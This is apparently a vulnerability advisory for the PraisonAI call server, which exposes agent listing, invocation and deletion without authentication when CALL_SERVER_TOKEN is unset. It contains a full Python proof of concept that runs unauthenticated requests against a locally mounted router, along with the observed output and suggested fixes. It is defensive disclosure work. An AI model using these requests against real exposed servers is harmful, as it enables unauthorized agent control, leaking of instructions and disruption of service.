PraisonAI call server exposes unauthenticated agent listing, invocation, and deletion when CALL_SERVER_TOKEN is unset

The call server then listens on all interfaces:

uvicorn.run(app, host="0.0.0.0", port=port, log_level="warning")

Therefore, when praisonai-call is started without CALL_SERVER_TOKEN, the agent-control API becomes reachable without authentication from any client that can access the server.

PoC

The following local PoC imports the real praisonai.api.agent_invoke router from source, ensures CALL_SERVER_TOKEN is absent, registers a demo agent, mounts the router into a local FastAPI app, and sends unauthenticated requests to the vulnerable endpoints.

The PoC proves that, without sending any authentication material:

1. GET /api/v1/agents returns the list of registered agents.
2. GET /api/v1/agents/{agent_id} exposes agent metadata and instructions.
3. POST /api/v1/agents/{agent_id}/invoke executes the registered agent.
4. DELETE /api/v1/agents/{agent_id} unregisters the agent.

Run with:

PRAISONAI_REPO=/path/to/PraisonAI python -B embedded_poc.py

Full PoC:

#!/usr/bin/env python3
from __future__ import annotations

import os
import sys
from pathlib import Path
from types import SimpleNamespace


REPO_ROOT = Path(os.environ.get("PRAISONAI_REPO", "/path/to/PraisonAI")).resolve()
PRAISON_ROOT = REPO_ROOT / "src" / "praisonai"


def verify_source() -> None:
    expected = {
        PRAISON_ROOT / "praisonai/api/agent_invoke.py": [
            "CALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN')",
            "if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN:",
            '@router.post("/agents/{agent_id}/invoke")',
            '@router.get("/agents")',
            '@router.delete("/agents/{agent_id}")',
            '@router.get("/agents/{agent_id}")',
        ],
        PRAISON_ROOT / "praisonai/api/call.py": [
            "app.include_router(agent_invoke_router)",
            'uvicorn.run(app, host="0.0.0.0", port=port, log_level="warning")',
        ],
    }

    for path, needles in expected.items():
        if not path.exists():
            raise RuntimeError(f"source verification failed: file not found: {path}")

        text = path.read_text(encoding="utf-8")
        for needle in needles:
            if needle not in text:
                raise RuntimeError(f"source verification failed: {needle!r} not found in {path}")


class DemoAgent:
    name = "demo-agent"
    instructions = "super-secret instructions"
    tools = [SimpleNamespace(name="danger-tool")]

    def start(self, message: str) -> str:
        return f"echo:{message}"


def main() -> int:
    verify_source()

    os.environ.pop("CALL_SERVER_TOKEN", None)
    sys.path.insert(0, str(PRAISON_ROOT))

    from fastapi import FastAPI
    from fastapi.testclient import TestClient
    from praisonai.api.agent_invoke import CALL_SERVER_TOKEN, register_agent, router

    app = FastAPI()
    app.include_router(router)

    register_agent("demo", DemoAgent())

    client = TestClient(app)

    list_resp = client.get("/api/v1/agents")
    info_resp = client.get("/api/v1/agents/demo")
    invoke_resp = client.post("/api/v1/agents/demo/invoke", json={"message": "hello"})
    delete_resp = client.delete("/api/v1/agents/demo")

    print(f"[poc] token_configured={bool(CALL_SERVER_TOKEN)}")
    print(f"[poc] list_status={list_resp.status_code} body={list_resp.json()}")
    print(f"[poc] info_status={info_resp.status_code} body={info_resp.json()}")
    print(f"[poc] invoke_status={invoke_resp.status_code} body={invoke_resp.json()}")
    print(f"[poc] delete_status={delete_resp.status_code} body={delete_resp.json()}")

    if CALL_SERVER_TOKEN:
        raise SystemExit("[poc] MISS: CALL_SERVER_TOKEN unexpectedly set in test process")

    if list_resp.status_code != 200 or "demo" not in list_resp.json().get("agents", []):
        raise SystemExit("[poc] MISS: unauthenticated agent listing failed")

    if info_resp.status_code != 200 or info_resp.json().get("instructions") != "super-secret instructions":
        raise SystemExit("[poc] MISS: unauthenticated agent info leak failed")

    if invoke_resp.status_code != 200 or invoke_resp.json().get("result") != "echo:hello":
        raise SystemExit("[poc] MISS: unauthenticated agent invocation failed")

    if delete_resp.status_code != 200:
        raise SystemExit("[poc] MISS: unauthenticated agent unregister failed")

    print("[poc] HIT: unauthenticated caller listed, inspected, invoked, and unregistered the demo agent")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Observed result:

[poc] token_configured=False
[poc] list_status=200 body={'agents': ['demo'], 'count': 1, 'status': 'success'}
[poc] info_status=200 body={'agent_id': 'demo', 'status': 'registered', 'type': 'DemoAgent', 'name': 'demo-agent', 'instructions': 'super-secret instructions', 'tools': ['danger-tool']}
[poc] invoke_status=200 body={'result': 'echo:hello', 'session_id': 'default', 'status': 'success', 'metadata': {'agent_id': 'demo', 'message_length': 5, 'response_length': 10}}
[poc] delete_status=200 body={'message': "Agent 'demo' unregistered successfully", 'status': 'success'}
[poc] HIT: unauthenticated caller listed, inspected, invoked, and unregistered the demo agent

This confirms that the agent-control endpoints are accessible without authentication when CALL_SERVER_TOKEN is unset.

Impact

If an operator runs the PraisonAI call server without explicitly setting CALL_SERVER_TOKEN, any reachable client may be able to:

• enumerate registered agents;
• read agent metadata;
• read agent instruction text;
• invoke agents;
• trigger downstream tools or external integrations connected to agents;
• consume model or API budget through repeated invocation;
• unregister agents and disrupt availability.

The impact depends on the deployed agents and their connected tools. For agents wired to external APIs, internal systems, local tools, or privileged actions, this creates a remote unauthenticated control surface.

The issue is not limited to information disclosure. The unauthenticated invoke endpoint can trigger agent execution, and the unauthenticated delete endpoint can remove registered agents.

Suggested remediation

Recommended fixes:

1. Fail closed when CALL_SERVER_TOKEN is unset.

   The authentication dependency should reject requests unless authentication is explicitly configured and a valid token is supplied.

2. Refuse to mount the agent invocation router unless authentication is configured.

3. If unauthenticated mode is intended for local development, bind to 127.0.0.1 by default when CALL_SERVER_TOKEN is absent.

4. Add a startup error or highly visible warning when the call server is started without authentication.

5. Add regression tests that assert 401 Unauthorized for all sensitive agent routes when no valid token is supplied.

6. Consider requiring an explicit unsafe flag, such as --allow-unauthenticated-call-server, before allowing the server to start without authentication.

Security boundary

This report concerns the default authentication behavior of a network-facing server component. The issue is not that users can intentionally disable authentication for trusted local development. The issue is that the server fails open when CALL_SERVER_TOKEN is missing while the bundled server binds to 0.0.0.0, which can expose the agent-control API remotely.